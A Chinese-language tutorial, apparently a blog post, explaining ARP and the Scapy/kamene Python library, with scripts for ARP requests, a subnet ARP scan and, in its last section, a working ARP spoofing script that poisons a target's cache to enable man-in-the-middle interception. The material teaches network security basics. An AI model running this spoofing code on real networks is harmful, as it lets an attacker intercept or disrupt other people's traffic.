0. ARP介紹

首先,先回憶下TCP/IP
模型,從下到上分為:數據鏈路層、網絡層、傳輸層、應用層,那么ARP
到底屬於哪一層?有人會說是網絡層,但實際是屬於數據鏈路層,只不過還要為網絡層提供服務。
ARP
的主要用途是IP(32bit)
地址到物理MAC(48bit)
地址的映射關系。別看表面主機知道了遠端IP地址就可以通信,實則先要知道遠端的MAC地址(借助ARP),通過網卡到交換機構建數據鏈路層通信,再通過上層進行數據交互。
另外,你可能會了解到代理ARP、免費ARP、RARP這些,其中你都能搞明白他們工作原理是怎么樣的嘛?
這里咱們簡單回顧一下:
- 代理ARP:一般路由器通常充當代理角色,代替遠端主機響應本地的
ARP
請求; - 免費ARP:一種特殊
ARP
請求報文,用於檢測IP
沖突、硬件地址變更觸發免費ARP; - RARP:與
ARP
相反,主要用於無盤工作站,請求物理MAC(48bit)
地址到IP(32bit)
地址的映射;
1. Scapy簡述
Scapy是一個Python語言編寫的工具,也是一個強大的交付式數據包處理程序,能夠偽造或者解碼大量的網絡協議數據包,能夠發送、嗅探、剖析和偽造網絡數據包,如端口掃描、路由跟蹤、探測、攻擊或網絡發現等。使用Scapy可以替代hping、arpspoof、arp-sk、arping、p0f等功能,甚至可以代替nmap、tcpdump和tshark的部分功能。此外,Scapy還有很多其他工具沒有的特性,如發送無效數據幀、注入修改的802.11數據幀、在WEB上解碼加密通道(VOIP)、ARP緩存攻擊(VLAN)等。
Scapy的主要功能如下:
- Scanning(掃描)
- Fingerprinting(識別)
- Testing(測試)
- Packet forging(包鑄造)
- Attacking(攻擊)
- Sniffing(抓包分析)
收發數據包介紹:
- sr():發送三層數據包,等待接受一個或者多個數據包的響應。
- sr1( ):發送三層數據包,並僅僅只等待接受一個數據包的響應。
- srp():發送二層數據包,並且等待響應。
- send():僅僅發送三層數據包,系統會自動處理路由和二層信息。
- sendp():發送二層數據包。
作為網工,你是不是經常抓包來分析某協議頭部結構,現在就可以用Scapy來構造發送數據包啦。
在python3的環境下,現在叫法是 Kamene,之前叫做Scapy。
2. Scapy簡單演示
2.1 安裝
pip3 install -i https://pypi.douban.com/simple/ kamene #使用豆瓣源進行安裝kamene
說明:強烈建議在linux環境下安裝及測試(我用的是ubuntu 16)。
2.2 構造包演示
2.2.1 進入kamene交互界面
#安裝好后,直接通過kamene進入,類似python交互式界面
root@ubuntu:~# kamene
WARNING: No route found for IPv6 destination :: (no default route?). This affects only IPv6
INFO: Please, report issues to https://github.com/phaethon/kamene
WARNING: IPython not available. Using standard Python shell instead.
Welcome to kamene (3.0.0)
>>>
2.2.2 查看以太網頭部
>>> Ether()
<Ether |>
>>> _.show() #'_' 下划線表示上一條命令執行的結果,通過show()展示結果
###[ Ethernet ]###
WARNING: Mac address to reach destination not found. Using broadcast.
dst= ff:ff:ff:ff:ff:ff
src= 00:00:00:00:00:00
type= 0x9000
2.2.3 查看 ICMP 頭部
>>> ICMP()
<ICMP |>
>>> _.show()
###[ ICMP ]###
type= echo-request
code= 0
chksum= None
id= 0x0
seq= 0x0
2.2.4 查看 IP 頭部
>>> IP()
<IP |>
>>> _.show()
###[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= ip
chksum= None
src= 127.0.0.1
dst= 127.0.0.1
\options\
2.2.5 查看 TCP/UDP 頭部
>>> TCP()
<TCP |>
>>> _.show()
###[ TCP ]###
sport= ftp_data
dport= http
seq= 0
ack= 0
dataofs= None
reserved= 0
flags= S
window= 8192
chksum= None
urgptr= 0
options= {}
>>> UDP()
<UDP |>
>>> _.show()
###[ UDP ]###
sport= domain
dport= domain
len= None
chksum= None
2.2.6 簡單構造 ICMP 包
#通過 '/' 可疊加多個協議層(左底層到由上層),如Ether()/IP()/UDP()/DNS()
>>> p = sr1(IP(src='192.168.8.128' , dst='192.168.8.254')/ICMP()/b'This is a ICMP packet')
Begin emission:
..Finished to send 1 packets.
*
Received 3 packets, got 1 answers, remaining 0 packets
>>> p.show()
###[ IP ]###
version= 4
ihl= 5
tos= 0x0
len= 49
id= 1909
flags=
frag= 0
ttl= 128
proto= icmp
chksum= 0xa088
src= 192.168.8.254
dst= 192.168.8.128
\options\
###[ ICMP ]###
type= echo-reply #收到一個replay包
code= 0
chksum= 0x55ad
id= 0x0
seq= 0x0
###[ Raw ]###
load= 'This is a ICMP packet'
2.2.7 簡單 構造 ARP 包
先看下ARP包的格式:
>>> ARP()
<ARP |>
>>> _.show()
###[ ARP ]###
hwtype= 0x1
ptype= 0x800 #協議號
hwlen= 6
plen= 4
op= who-has #op=1表示Request,op=2表示Response
hwsrc= 00:0c:29:5d:2f:55 #源MAC地址
psrc= 192.168.8.128 #源IP地址
hwdst= 00:00:00:00:00:00 #初始目的為廣播地址
pdst= 0.0.0.0 #缺省為空
簡單構造 ARP 請求包:
>>> p = sr1(ARP(psrc='192.168.8.128',pdst='192.168.8.254'))
Begin emission:
.*Finished to send 1 packets.
Received 2 packets, got 1 answers, remaining 0 packets
>>> p.show()
###[ ARP ]###
hwtype= 0x1
ptype= 0x800
hwlen= 6
plen= 4
op= is-at
hwsrc= 00:50:56:e7:d0:87
psrc= 192.168.8.254
hwdst= 00:0c:29:5d:2f:55 #返回的是arp響應包,獲取到目的映射的MAC地址
pdst= 192.168.8.128
###[ Padding ]###
load= '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
接下來,咱們玩點復雜的。。。
3. 構造 ARP 請求
#!/usr/bin/env python3
#-*- coding:UTF-8 -*-
#歡迎關注微信公眾號:點滴技術
#這里有靠譜、有價值的、免費分享、成長的,專屬於網絡攻城獅的。
import logging
logging.getLogger("kamene.runtime").setLevel(logging.ERROR) # 清除報錯
from kamene.all import *
from Tools.Get_address import get_ip_address # 獲取本機IP地址
from Tools.Get_address import get_mac_address # 獲取本機MAC地址
from Tools.Scapy_iface import scapy_iface # 獲取scapy iface的名字
def arp_request(dst_addr, ifname):
# 獲取本機IP地址
local_ip = get_ip_address(ifname)
# 獲取本機MAC地址
local_mac = get_mac_address(ifname)
try:
# 發送ARP請求並等待響應
#op=1表示請求,op=2表示響應
#當op=1,hwsrc=表示本地mac,hwdst表示廣播(首包),psrc表示本地IP,pdst表示目的IP
result_raw = sr1(ARP(op=1,
hwsrc=local_mac,
hwdst='00:00:00:00:00:00',
psrc=local_ip,
pdst=dst_addr),
iface=scapy_iface(ifname),
timeout=1,
verbose=False)
print(result_raw.show())
#返回目的IP地址,和目的MAC地址,getlayer(ARP)取整個ARP數據包,
return dst_addr, result_raw.getlayer(ARP).fields.get('hwsrc')
except AttributeError:
return dst_addr, None
if __name__ == "__main__":
# Windows Linux均可使用
# arp_result = arp_request('192.168.100.1', "WLAN")
arp_result = arp_request('192.168.8.254', "ens32")
print("IP地址:", arp_result[0], "MAC地址:", arp_result[1])
運行結果如下:
IP地址: 192.168.8.254 MAC地址: 00:50:56:e7:d0:87
4. 構造 ARP 掃描
#!/usr/bin/env python3
#-*- coding:UTF-8 -*-
#歡迎關注微信公眾號:點滴技術
#這里有靠譜、有價值的、免費分享、成長的,專屬於網絡攻城獅的空間
import logging
logging.getLogger("kamene.runtime").setLevel(logging.ERROR)
import ipaddress
from multiprocessing.pool import ThreadPool #多線程
from ARP_Request import arp_request #返回IP 和 MAC
def arp_scan(network,ifname):
#要掃描的網段
net = ipaddress.ip_network(network , strict=False)
#空列表,存放字符串IP地址
ip_list = []
for ip in net:
ip_list.append(str(ip)) #ip格式轉為str,放入ip_list
pool = ThreadPool(processes=100) #線程池並發100
result = []
for i in ip_list:
result.append(pool.apply_async(arp_request , args=(i,ifname)))
pool.close()
pool.join()
#存放活躍的IP與MAC的字典
scan_dict = {}
for r in result:
if r.get()[1] is not None:
scan_dict[r.get()[0]] = r.get()[1]
# print(scan_dict)
return scan_dict
if __name__ == '__main__':
net = '192.168.8.0/24'
name = 'ens32'
import time
start_time = time.time()
print("活動IP地址如下:")
for ip , mac in arp_scan(network=net,ifname=name).items():
print("IP地址: {} 是活動的,MAC地址是 {}".format(ip , mac))
end_time = time.time()
print('本次掃描花費時間:%.2f' % (end_time - start_time))
運行結果如下:
活動IP地址如下:
IP地址: 192.168.8.1 是活動的,MAC地址是 00:50:56:c0:00:08
IP地址: 192.168.8.254 是活動的,MAC地址是 00:50:56:e7:d0:87
本次掃描花費時間:14.52
5. 構造 ARP 欺騙
#!/usr/bin/env python3
#-*- coding:UTF-8 -*-
#歡迎關注微信公眾號:點滴技術
#這里有靠譜、有價值的、免費分享、成長的,屬於網絡攻城獅的空間
import logging
logging.getLogger("kamene.runtime").setLevel(logging.ERROR) # 清除報錯
from kamene.all import *
from Tools.Get_address import get_ip_address # 導入獲取本機IP地址方法
from Tools.Get_address import get_mac_address # 導入獲取本機MAC地址方法
from ARP_Request import arp_request # 導入之前創建的ARP請求腳本
from Tools.Scapy_iface import scapy_iface # 獲取scapy iface的名字
import time
import signal
def arp_spoof(ip_1,ip_2,ifname='ens35'):
# 申明全局變量
global localip, localmac, dst_1_ip , dst_1_mac, dst_2_ip , dst_2_mac , local_ifname
#賦值到全局變量
#dst_1_ip為被毒化ARP設備的IP地址,dst_ip_2為本機偽裝設備的IP地址
#local_ifname為攻擊者使用的網口名字
dst_1_ip, dst_2_ip, local_ifname= ip_1, ip_2, ifname
# 獲取本機IP和MAC地址,並且賦值到全局變量
localip, localmac= get_ip_address(ifname), get_mac_address(ifname)
# 獲取被欺騙ip_1的MAC地址,真實網關ip_2的MAC地址
dst_1_mac, dst_2_mac = arp_request(ip_1,ifname)[1], arp_request(ip_2,ifname)[1]
# 引入信號處理機制,如果出現ctl+c(signal.SIGINT),使用sigint_handler這個方法進行處理
signal.signal(signal.SIGINT, sigint_handler)
while True: # 一直攻擊,直到ctl+c出現!!!
# op=2,響應ARP
sendp(Ether(src=localmac, dst=dst_1_mac) / ARP(op=2, hwsrc=localmac, hwdst=dst_1_mac, psrc=dst_2_ip, pdst=dst_1_ip),
iface=scapy_iface(local_ifname),
verbose=False)
print("發送ARP欺騙數據包!欺騙{} , {}的MAC地址已經是我本機{}的MAC地址啦!!!".format(ip_1,ip_2,ifname))
time.sleep(1)
# 定義處理方法
def sigint_handler(signum, frame):
# 申明全局變量
global localip, localmac, dst_1_ip , dst_1_mac, dst_2_ip , dst_2_mac , local_ifname
print("\n執行恢復操作!!!")
# 發送ARP數據包,恢復被毒化設備的ARP緩存
sendp(Ether(src=dst_2_mac, dst=dst_1_mac) / ARP(op=2, hwsrc=dst_2_mac, hwdst=dst_1_mac, psrc=dst_2_ip, pdst=dst_1_ip),
iface=scapy_iface(local_ifname),
verbose=False)
print("已經恢復 {} 的ARP緩存啦".format(dst_1_ip))
# 退出程序,跳出while True
sys.exit()
if __name__ == "__main__":
# 欺騙192.168.1.101,讓它認為192.168.1.102的MAC地址為本機攻擊者的MAC
#如果攻擊者沒有路由通信就會中斷,如有路由就可以竊取雙方通信的信息(所謂中間人)
arp_spoof('192.168.1.101' , '192.168.1.102' , 'ens35')
運行結果如下:
發送ARP欺騙數據包!欺騙192.168.1.101 , 192.168.1.102的MAC地址已經是我本機ens35的MAC地址啦!!!
發送ARP欺騙數據包!欺騙192.168.1.101 , 192.168.1.102的MAC地址已經是我本機ens35的MAC地址啦!!!
發送ARP欺騙數據包!欺騙192.168.1.101 , 192.168.1.102的MAC地址已經是我本機ens35的MAC地址啦!!!
發送ARP欺騙數據包!欺騙192.168.1.101 , 192.168.1.102的MAC地址已經是我本機ens35的MAC地址啦!!!
發送ARP欺騙數據包!欺騙192.168.1.101 , 192.168.1.102的MAC地址已經是我本機ens35的MAC地址啦!!!
^C
執行恢復操作!!!
已經恢復 192.168.1.101 的ARP緩存啦
ARP高速緩存表被欺騙前后效果圖:

備注:持續發送ARP響應包,設備收到最新的就會更新本地ARP緩存表,所以ARP安全性太低了。
附錄:
官方學習資源
https://scapy.net/
http://github.com/phaethon/kamene
如果喜歡的我的文章,歡迎關注我的公眾號:點滴技術,掃碼關注,不定期分享